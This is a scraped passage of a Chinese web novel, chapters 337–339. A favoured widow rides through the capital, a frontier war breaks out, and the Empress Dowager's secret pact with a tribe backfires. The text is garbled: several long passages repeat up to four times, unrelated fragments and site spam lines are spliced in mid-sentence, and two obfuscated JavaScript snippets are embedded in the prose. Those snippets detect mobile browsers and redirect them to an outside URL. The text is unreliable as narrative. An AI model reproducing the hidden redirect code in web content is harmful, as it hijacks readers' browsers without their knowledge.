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冬日虽冷,正午时分,暖阳透过云层洒下来,驱散了大半寒意,风也变得柔和,晒在身上暖融融的,倒也不觉得冷。 这日,薛嘉言又要去粮行,她心底那股骑马的冲动又冒了出来,按捺不住地吩咐司雨:“今儿不冷,我骑马去。给我取那身加厚的骑装来,再把那顶白狐狸**的风帽带上。” 司雨早已按她的心意,赶制了一身墨绿色厚绒骑装,领口、袖口都缝着柔软的狐裘镶边,挡风又保暖,闻言连忙应声去取。 薛嘉言换好骑装,戴上风帽,鬓边的碎发被风帽拢住,只露出一截光洁的下颌,身姿挺拔地走到马厩,翻身上了那匹枣红马“花儿”。 马儿扬了扬脖颈,轻轻嘶鸣一声,显得格外温顺。薛嘉言轻轻夹了夹马腹,马儿慢悠悠地踏出府门,朝着街面行去。 一开始,薛嘉言还有些不自在,总感觉沿途百姓的目光都黏在自己身上,有好奇,有惊讶,还有些说不清道不明的审视,让她浑身都透着几分拘谨。 事实上,也的确如此——京城之中,除了那位素来张扬、不拘礼教的长公主长公主,众人还从未见过哪家世家女眷,竟敢这般抛头露面,骑着马行走在闹市之中,众人自然要关注的。 尤其是当有人认出,这位骑马的女子,便是那位传闻中被陛下宠信、却不肯名正言顺接入宫中的“薛家外室”时,周围的议论声更是此起彼伏,不绝于耳。 有人悄悄停下脚步,凑在一起交头接耳;有人频频侧目,眼神里满是鄙夷;还有些守旧的老者,忍不住皱紧眉头,连连摇头。 薛嘉言垂眸看着马腹下的青石板路,只做听不见,指尖轻轻调整缰绳,专心感受着骑马的节奏。马儿一步步前行,蹄声清脆,暖阳洒在身上,风轻轻拂过耳畔,骑在马背上的感觉越来越好——整个人比平日里高了许多,视野也变得开阔,远处的宅院、街景尽收眼底,连日来忙碌的疲惫仿佛都被驱散,心胸也愈发舒展。 渐渐地,她放下了拘谨,脊背挺得更直,眼底没了丝毫局促,全然无惧旁人的眼光和那些隐晦的流言。 我也在所不辞!” 申屠助见他松了口,心中暗自松了口气,连忙点头应道:“好好好,理应如此,理应如此。你放心,若薛氏真有再逾矩之举,我也会与你一同上谏。” 进入冬季后,朔风渐起,落叶被卷着铺满京城长街,薛嘉言却愈发忙碌起来。 入秋后便筹备的冬储粮,到了此时正是粮行最热闹的时节,往来购粮的百姓、商户排起长队,既要盯着存粮清点,又要核对账目、安抚民心。 布行那边更是忙碌,加厚的绸缎、棉絮、绒布订单堆的如山,皆是百姓备冬的急需之物,更何况还承接了不少工部军衣的订单。 薛嘉言时常要亲自外出过问,偶尔还要趁着天朗气清,赶往通县的织行工坊,查看布匹织造的进度与质量。 冬日虽冷,正午时分,暖阳透过云层洒下来,驱散了大半寒意,风也变得柔和,晒在身上暖融融的,倒也不觉得冷。 这日,薛嘉言又要去粮行,她心底那股骑马的冲动又冒了出来,按捺不住地吩咐司雨:“今儿不冷,我骑马去。给我取那身加厚的骑装来,再把那顶白狐狸**的风帽带上。” 司雨早已按她的心意,赶制了一身墨绿色厚绒骑装,领口、袖口都缝着柔软的狐裘镶边,挡风又保暖,闻言连忙应声去取。 薛嘉言换好骑装,戴上风帽,鬓边的碎发被风帽拢住,只露出一截光洁的下颌,身姿挺拔地走到马厩,翻身上了那匹枣红马“花儿”。 马儿扬了扬脖颈,轻轻嘶鸣一声,显得格外温顺。薛嘉言轻轻夹了夹马腹,马儿慢悠悠地踏出府门,朝着街面行去。 一开始,薛嘉言还有些不自在,总感觉沿途百姓的目光都黏在自己身上,有好奇,有惊讶,还有些说不清道不明的审视,让她浑身都透着几分拘谨。 事实上,也的确如此——京城之中,除了那位素来张扬、不拘礼教的长公主长公主,众人还从未见过哪家世家女眷,竟敢这般抛头露面,骑着马行走在闹市之中,众人自然要关注的。 尤其是当有人认出,这位骑马的女子,便是那位传闻中被陛下宠信、却不肯名正言顺接入宫中的“薛家外室”时,周围的议论声更是此起彼伏,不绝于耳。 有人悄悄停下脚步,凑在一起交头接耳;有人频频侧目,眼神里满是鄙夷;还有些守旧的老者,忍不住皱紧眉头,连连摇头。 薛嘉言垂眸看着马腹下的青石板路,只做听不见,指尖轻轻调整缰绳,专心感受着骑马的节奏。马儿一步步前行,蹄声清脆,暖阳洒在身上,风轻轻拂过耳畔,骑在马背上的感觉越来越好——整个人比平日里高了许多,视野也变得开阔,远处的宅院、街景尽收眼底,连日来忙碌的疲惫仿佛都被驱散,心胸也愈发舒展。 渐渐地,她放下了拘谨,脊背挺得更直,眼底没了丝毫局促,全然无惧旁人的眼光和那些隐晦的流言。 第337章 军情 日子久了京中渐渐都知道了薛家那位皇帝的“外室”喜欢骑一匹枣红马戴着一顶缀着白狐狸毛的风帽纵马走在街头时总是高昂着头颅神色淡然一副什么都不在意的模样。 众人碍于皇帝的威严表面上不敢多说一句哪怕遇见了也只是匆匆低头避让可私底下的非议却从来没有少过。 街角的茶摊旁几个挑着担子的商贩歇脚时凑在一起低声议论:“你们见过没?薛家那位又骑着马出来了那般模样倒比有些男子还张扬。” 旁边一人连忙拉了拉他的衣袖压低声音:“小声点!不要命了?那可是陛下心尖上的人被听见了有你好果子吃!” 先前说话的商贩撇了撇嘴依旧压着声音:“我这不是私下说说嘛你看哪家正经女眷会骑马逛街?也就长公主敢这样如今又多了个她仗着陛下宠爱 不远处的布庄门口几个买菜归来的妇人也凑在一起语气里满是好奇与不解:“怎么说也是个寡妇陛下反倒宠着她如今还敢这般抛头露面真是奇了。” “可不是嘛咱们女子在家相夫教子、操持家务才是本分她倒好又开粮行又开布行还骑着马四处跑哪有半分妇人的样子?” “人家可不是寻常妇人寻常妇人能娶个赘婿?能被皇帝看上?” “也是的确不寻常光这脸皮就够厚的寻常人比不了。” “哈哈哈……” “你们啊就是又羡慕又忌恨巴不得自己也像薛氏一样得年轻皇帝的欢心偏自己又没那个相貌……” …… 这些议论声或隐晦或直白或苛责或好奇散落在京城的大街小巷。 这些议论声却在腊月初的一场寒风中戛然而止。 那日清晨天刚蒙蒙亮一道加急军报便从边关疾驰入京驿卒浑身是汗、衣衫染尘口中高声呼喊:“急报!边关急报——朵颜部大举进犯同知阮景明被掳独石口已被敌军攻破!” 军报如惊雷般在京城炸开原本还沉浸在备冬氛围中的百姓瞬间被恐慌笼罩人心惶惶。 独石口乃是边关重镇扼守京畿北大门距离京城不过七八百里路程而朵颜部将士素来骁勇善骑射若是轻装急行军三日便可兵临京城之下。 此事并非无迹可寻贞宗时期便有过这般先例——当年异族骑兵仅带两三日粮草一路疾驰冲破边关关口直入京城腹地烧杀抢掠那惨状至今仍 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 被京中老辈人铭记于心。 消息传入紫宸殿,姜玄正批阅奏折,见了军报上的字字句句,脸色瞬间沉了下来,手中的朱笔“啪”地拍在案上。 “朱同济!”他咬牙念出这个名字,语气里满是震怒与不解,“他乃是沙场老将,驻守边关十余年,经验丰富,怎么会突然丢了独石口?!” 身旁的张鸿宝侍大气不敢出,只能垂首立在一旁,连呼吸都放得极轻。 传令兵解释道:“启禀陛下,朱指挥使旧病复发病倒了,现在昏迷不醒,是阮同知带人迎敌的,阮同知已被俘。” 紧急朝会即刻召开,文武百官齐聚大殿,个个神色凝重,大殿之上鸦雀无声。 沉默片刻,兵部尚书周显之率先出列,躬身谏言:“陛下,事不宜迟,当尽快命万全右卫附近的兵力驰援独石口,扼制朵颜部的攻势。臣以为,蓟州卫指挥使宋郁林素有勇略,麾下兵力精锐,且蓟州卫距离万全右卫不远,可命宋郁林即刻领兵增援,务必尽快将朵颜部赶出独石口,守住边关防线。” 周显之话音刚落,便有几位大臣纷纷附和。 “周尚书所言极是,宋指挥使骁勇善战,定能不负陛下所托” “如今形势危急,唯有速派援军,方能稳住局势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333762|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安抚民心”。 周显之所言理由充分,既考虑到兵力部署的合理性,又兼顾了驰援的时效性,姜玄沉默片刻,指尖轻轻摩挲着龙椅扶手,终究是缓缓颔首,沉声道:“准奏。传朕旨意,命蓟州卫指挥使宋郁林即刻点兵,驰援万全右卫,务必限期收复独石口,若有延误,军法处置!” 旨意快马传往蓟州卫,满朝文武皆盼着宋郁林能领兵击退朵颜部,稳住边关局势。 可谁曾想,不过两日功夫,另一道军报再次传入京城,彻底击碎了众人的期盼——宋郁林未能如期增援万全右卫,只因土默特部突然从侧翼来犯,蓟州卫自身难保,宋郁林只能坚守蓟州,无法分兵驰援。 屋漏偏逢连夜雨,就在京中众人忧心忡忡之际,边关再传噩耗:在独石口修整完毕的朵颜部大军,士气大振,趁着大启援军未到的空隙,以迅雷不及掩耳之势,派遣骁勇善战的骑兵突袭周边城镇,短短一日之内,便接连拿下了独石口周边三镇,兵锋直指万全右卫,边关防线濒临崩溃。 消息传入朝堂,彻底引发震动,原本凝重的氛围变得愈发慌乱,众臣再也无法保持镇定,纷纷交头接耳、议论不休。 有人主张即刻调遣京畿重兵驰援,有人担忧京中兵力空虚,恐遭偷袭,有人则提议与朵颜部议和,暂避锋芒。 大殿之上,各执一词,争论不休,却始终未能商议出一个妥当的对策,姜玄端坐龙椅之上,脸色阴沉如水,眼底藏着翻涌的怒火与深思,默默注视着殿下文武百官的争执。 长乐宫的殿内静得可怕,燃着的银丝炭虽暖,却驱不散满室的寒意。 太后端坐在铺着狐裘的宝座上,脸上神色凝重如霜,眸色阴郁得像是酝酿着一场暴雨,连呼吸都带着几分压抑的戾气。 她万万没有想到,自己精心谋划的一场“戏”,竟彻底脱了轨,远远超出了她的掌控。 第338章 人算不如天算 在她的算计里,朵颜部相对于北方其他强悍部落,根本算不上强敌,不过是一群贪图小利的蛮夷,更何况单于哈兀真年事已高,早已没了当年冲锋陷阵的野心,满心满眼都是安稳度日,只求能从大兖谋取些好处,安度晚年。 当初,她暗中派人潜入朵颜部撺掇哈兀真,许下了丰厚的条件:只让朵颜部出兵,假装进犯万全右卫,演一场“声势浩大却不伤根本的戏码,她在万全右卫安排了内应,会悄悄打开防线,让他们轻松“拿下一小块地盘,抢夺来的粮草、绸缎、铁器等物资,全部归朵颜部所有;除此之外,事成之后,太后还会促成朵颜部在边境开设临时互市,自由交易。 哈兀真本就贪图这些好处,又想着只是演一场戏,无需付出太大代价,便一口答应了下来。 太后原以为,一切都会按她的计划进行——朵颜部假意进犯,阮景明“放水配合,随后她再让自己的哥哥宋襄领兵出征,轻松“击退 可她千算万算,终究人算不如天算。 阮景明按照约定,故意将防线打开一道口子,放了小股朵颜骑兵进来,谁知领头的将领忽兰儿却突然变了脸,眼神锐利如刀,一声令下,麾下士兵便一拥而上,当场拿下了阮景明。 紧接着,早已埋伏在城外的大批朵颜骑兵蜂拥而入,势如破竹,根本不是“演一场戏的模样。 阮景明被按在地上,浑身冰凉。 朵颜部目前实际掌控兵权的,早就不是那位年迈体衰、贪图安逸的哈兀真,而是年富力强、野心勃勃,一心盼着扩张地盘的忽兰儿。 哈兀真的答应,不过是被忽兰儿默许的幌子,他们从一开始,就没打算“演戏,而是要借着这个天赐良机,真正入侵大兖,抢占土地与物资。 忽兰儿握着兵权,盼这样的机会已久,如今有内应引路,又有太后的“默许,岂能轻易放过?他拿下阮景明,便是要堵住太后的嘴,断了大兖追责的一条线索,随后便带着大军,一路势如破竹,拿下了独石口,又接连攻占周边三镇,兵锋直指蓟州卫。 太后深吸一口气,压下心头的慌乱与怒火,转头看向身旁的贴身侍女沁芳,“沁芳,悄悄去找宋襄,让他想办法杀了阮景明,把所有痕迹都扫干净,一丝一毫都不能留下。 沁芳的脸色早在听闻边关巨变就变得发白,闻言连忙躬身应是:“是,婢子遵旨。 她从一开始就觉得这件事不 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 妥,太后借蛮夷之手谋权,本就凶险万分,稍有差池,不仅太后会万劫不复,宋家也会从国之栋梁,沦为通敌叛国的千古罪人。 可太后一意孤行,不听劝阻,如今果然出了这般无法收拾的变故,她心中满是惶恐,却也只能硬着头皮去办。 太后缓缓站起身,在殿内来回踱步,眉头紧紧蹙着,神色愈发焦躁。 她没想到,朵颜部的实力竟然增长得这么快,短短几日,便拿下了四座城镇,如今已经逼近蓟州卫。 倘若再不加以遏制,让朵颜部与同样来犯的土默特部联手,形成夹击之势,她的哥哥宋郁林在蓟州卫坚守,应付起来只会更加吃力,甚至可能守不住蓟州卫,到时候,她的全盘计划,便会彻底崩盘。 这件事,必须尽快解决,而且最好还是由宋家人来解决——既能让宋家立下军功,稳固地位,也能把这件事的首尾彻底抹平,不让任何人查到她的头上。 太后停下脚步,眸色沉沉,心中已然有了新的盘算。 第二日,早朝如期召开,大殿之上,气氛比往日更加凝重,文武百官皆是神色焦灼,连呼吸都格外谨慎。 不等姜玄开口,兵部尚书周显之便率先出列,躬身启奏:“陛下,万全左卫史方已派人增援万全右卫,只是史方心有顾虑,恐重蹈蓟州卫的覆辙,不敢贸然调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333763|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出全部兵力,仅派出了四分之一的兵力驰援,目前勉强将朵颜部拦在双河口的位置,可形势依旧危急,随时可能被突破。” 周显之话音刚落,便有一位武将出列,神色急切地补充道:“陛下,臣有本奏!如今我军陷入多重困境:一,朵颜部骑兵骁勇,擅长奔袭,我军步兵居多,在开阔地带难以与之抗衡,双河口的防线虽暂稳,却已是强弩之末;二来,土默特部在蓟州卫外围虎视眈眈,宋指挥使分身乏术,无法分兵支援,若朵颜部绕开双河口,与土默特部汇合,后果不堪设想;再者,京畿周边兵力空虚,若再调兵驰援,恐京城无兵可守,危及陛下与皇室安全啊!” 这番话,字字恳切,句句戳中要害,大殿之上瞬间陷入一片死寂。片刻后,几位大臣纷纷出列,附和道:“将军所言极是,如今我军内外交困,实在不宜再贸然增兵硬拼” “边关防线脆弱,粮草军械短缺,再拖下去,只会让将士们白白牺牲,还请陛下早做决断” “土默特部与朵颜部若是联手,我军腹背受敌,到时候,不仅边关难保,京城也会陷入危机”。 兵部尚书周显之神色凝重地谏言:“陛下,臣以为,如今战事拖久了,对我大兖与朵颜部双方都不利。近来京城粮价飞涨,百姓恐慌不已,不少百姓纷纷囤积粮食,再这样下去,恐会引发内乱;而朵颜部孤军深入,粮草补给也难以跟上,只是凭着一股锐气才一路连胜。臣恳请陛下,与朵颜部议和,暂避锋芒,待我军整顿兵力、筹备粮草之后,再作打算。” 此言一出,大殿之上顿时议论纷纷,有人赞同,有人反对,反对者皆言“和谈有失国体”,赞同者则认为“识时务者为俊杰,如今唯有和谈,才能保住京畿,安抚民心”。 姜玄端坐龙椅之上,眉头紧蹙,沉默不语,眼底满是挣扎与不甘——他身为大兖皇帝,自然不愿与蛮夷和谈,不愿向异族低头,可目前的处境,却让他别无选择。 第339章 和谈 如今的大兖,确实苦难重重:边关将士疲惫不堪,粮草军械短缺,防线濒临崩溃;蓟州卫被土默特部牵制,无法分兵支援;京畿兵力空虚,难以应对突发状况;京城粮价飞涨,民心浮动,内乱隐患渐生;更重要的是,太后暗中作祟,朝堂之上暗流涌动,他若是强行硬拼,不仅可能丢了边关,还可能给太后可乘之机,危及皇权稳固。 就在姜玄沉思之际,礼部尚书王彦率先出列,躬身赞同道:“陛下,臣赞同和谈。和谈并非投降,而是为了争取时间,整顿兵力、安抚民心、筹备粮草,以最小的代价化解这场危机,保住大兖的根基。臣保举太常寺卿宋宜年与鸿胪寺卿闻圣杰一同前往和谈,宋宜年心思缜密、善于谋划,闻圣杰口齿伶俐、熟悉异族习俗,二人联手,定能不负陛下所托,以最小的代价促成和谈,为我军争取喘息之机。” 王彦所言,句句在理,且宋宜年与闻圣杰确实是和谈的合适人选。 姜玄沉默了许久,终究是缓缓闭上眼,再睁开时,眼底的挣扎已然褪去,只剩下深深的无奈与决绝,沉声道:“准奏。传朕旨意,命鸿胪寺卿闻圣杰太常寺卿宋宜年,即刻筹备和谈事宜,带着和谈队伍快速往北出发,务必以最小的代价,促成和谈,稳住边关局势。” “臣遵旨!”宋宜年与闻圣杰连忙出列,躬身领旨。 随后,众臣围绕和谈的细则展开商议,敲定了赏赐的物资、互市的条款、边界的划定等诸多事宜,不敢有丝毫耽搁。 商议完毕,宋宜年与闻圣杰即刻起身,赶回府中筹备,当日午后,便带着和谈队伍,匆匆往北出发,朝着朵颜部的军营赶去。 与和谈大军一起出发的,还有苗菁的人。 姜玄总觉得朱同济的病很蹊跷,偏在朵颜进犯前病倒了,这不由得他不多心。 朝堂的纷争与边关的危急,像一块巨石压在姜玄心头,因这场突如其来的战事,他的心情糟糕到了极点。 连日来,他昼夜操劳,白日与群臣商议战事、部署防务,夜里还要批阅军报、筹划粮草,连着好几日都没能睡个安稳觉,眼底布满了红血丝,面容也添了几分憔悴。 张鸿宝瞧着陛下日渐憔悴,心中暗自焦急。 这夜,见姜玄又独自坐在长宜宫的书案前,对着军报沉思到深夜,连晚膳都未曾动过,张鸿宝终于按捺不住,悄悄退到殿外,让人快马去薛嘉言的府邸,连夜将她接进了宫来。 薛嘉言接到消息时,正坐在灯下翻看粮行的账目,如今百姓恐慌疯狂购粮,导致粮价飞涨,她 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 姜玄轻轻嗯了一声,一声长长的叹息,带着无尽的忧思:“战事一起,生灵涂炭,北地不知多少百姓遭殃,多少将士战死沙场……若我大兖有雄兵百万,粮草充足,军械精良,又何惧关外这群虎狼,何需委屈求和?” 薛嘉言柔声说道:“陛下如今才二十有二,正是意气风发之时,有的是时间壮大我大兖的力量,整顿朝纲、扩充军队。陛下信不信,在我的梦里,陛下是一代明主,励精图治,国泰民安,四方部落皆俯首臣服,百姓安居乐业,再也没有战乱之苦。” “真的吗?”姜玄眼中瞬间泛起光亮,语气里带着几分欢喜。 他知道,薛嘉言的梦与旁人不同,屡次应验。 薛嘉言自然未见过姜玄成为一代明主的模样,她所说的一切,不过是基于姜玄的勤勉二推测,也是为了让姜玄开怀。 她抬眸,眼底满是认真,笑着说道:“当然啊,陛下难道还怀疑妾身吗?妾身相信,陛下一定能做到的。” 姜玄看着她温柔的眉眼,听着她坚定的话语,心中的阴霾彻底散去,连日来的疲惫与烦躁也消失无踪,心情好了许多。他反手握住薛嘉言的手,那是独属于她带给他的慰藉与力量。 尽力在维持着,限制没人购买的数量,并安抚百姓,朝廷一定会解决这次危机。 百姓们知道这位薛掌柜背后的男人是谁,倒是对福运粮行伙计们说的话有些信任,恐慌的情绪得到了一些缓解。 薛嘉言正筹措着把京城周边几间粮行的粮食先运过来一部分应急,听到张鸿宝递来的消息,她来不及多做收拾,便跟着内侍匆匆入宫。 踏入长宜宫,薛嘉言抬眼望去,只见姜玄正独自坐在宽大的书案前,脊背微微挺直,眉头紧蹙,目光沉沉地落在案上铺开的舆图上,周身萦绕着一股生人勿近的低气压。 薛嘉言放轻脚步,缓缓走到书案旁,柔声道:“陛下,张公公说您还没吃饭,妾身陪您吃一点吧。” 姜玄闻言,缓缓抬眸,看到薛嘉言,他眼底的疲惫与烦躁稍稍褪去,脸上终于有了一丝浅淡的笑意,那是连日来,他脸上第一次露出真切的暖意。他愣了愣,才恍然发觉,自己从午后到深夜,竟一口东西都没吃,腹中早已空空如也,只是被战事的焦虑压得全然不觉。 “好,”他声音带着几分沙哑,语气也柔和了许多,“陪我吃一点。” 张鸿宝早已让人备好了晚膳,闻言连忙示意内侍将膳食端上来,几样清淡却精致的小菜,一碗温热的鸡汤,都是姜玄平日里爱吃的。 薛嘉言其实并不饿,她坐下后,目光始终落在姜玄身上,细心地观察着他的神色,主动给他搛菜,又盛了一碗温热的鸡汤,轻轻推到他面前:“陛下,多喝点汤,暖暖身子。” 姜玄被她细心周到地照顾,心中的郁结消散了不少,拿起汤碗,小口喝着温热的鸡汤。一顿饭,没有太多言语,薛嘉言只是默默陪着他,偶尔给他添菜、盛汤,气氛静谧而温暖。 吃完饭,内侍收拾好膳食退下,薛嘉言牵着姜玄的手,陪着他在长宜宫的廊下散步。 廊下摆着几盆盛开的菊花,花瓣缀着细碎的霜花,丝丝缕缕的幽香随风飘来,沁人心脾,稍稍舒缓了心中的焦灼。 夜风微凉,薛嘉言下意识地往姜玄身边靠了靠,指尖轻轻攥着他的手,柔声劝道:“陛下,再忙也要顾着身体,身子是根本,若是陛下累倒了,边关的战事、朝中的百姓,可就没主心骨了。” 